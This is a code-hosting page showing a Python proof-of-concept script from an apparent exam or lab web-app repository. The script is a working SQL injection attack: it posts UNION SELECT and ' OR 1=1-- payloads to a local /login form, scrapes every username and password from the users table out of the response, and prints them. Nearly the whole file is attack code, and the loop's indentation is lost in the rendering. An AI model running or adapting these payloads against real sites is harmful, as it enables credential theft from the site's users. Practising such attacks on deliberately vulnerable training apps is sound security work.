Files
PC-Seq-Exam-WebApp/poc.py
OkunElya d990cf5482 working poc added
MY BRAIN IS MELTIIINNG
2025-12-16 02:26:01 +10:00

27 lines
996 B
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

import requests
import re
BASE_URL = "http://localhost:8000"
login_payload = "' UNION SELECT login FROM users--"
form_data = {"login": login_payload, "password": "' OR 1=1--"}
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
password_payload = "' UNION SELECT password FROM users--"
form_data = {"login": password_payload, "password": "' OR 1=1--"}
response_passwords = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1)
passwords_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_passwords.text).group(1)
logins= logins_raw.split("',), ('")
passwords = passwords_raw.split("',), ('")
if logins and passwords:
for i, (login, password) in enumerate(zip(logins, passwords)):
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
else:
print("Не удалось извлечь данные.")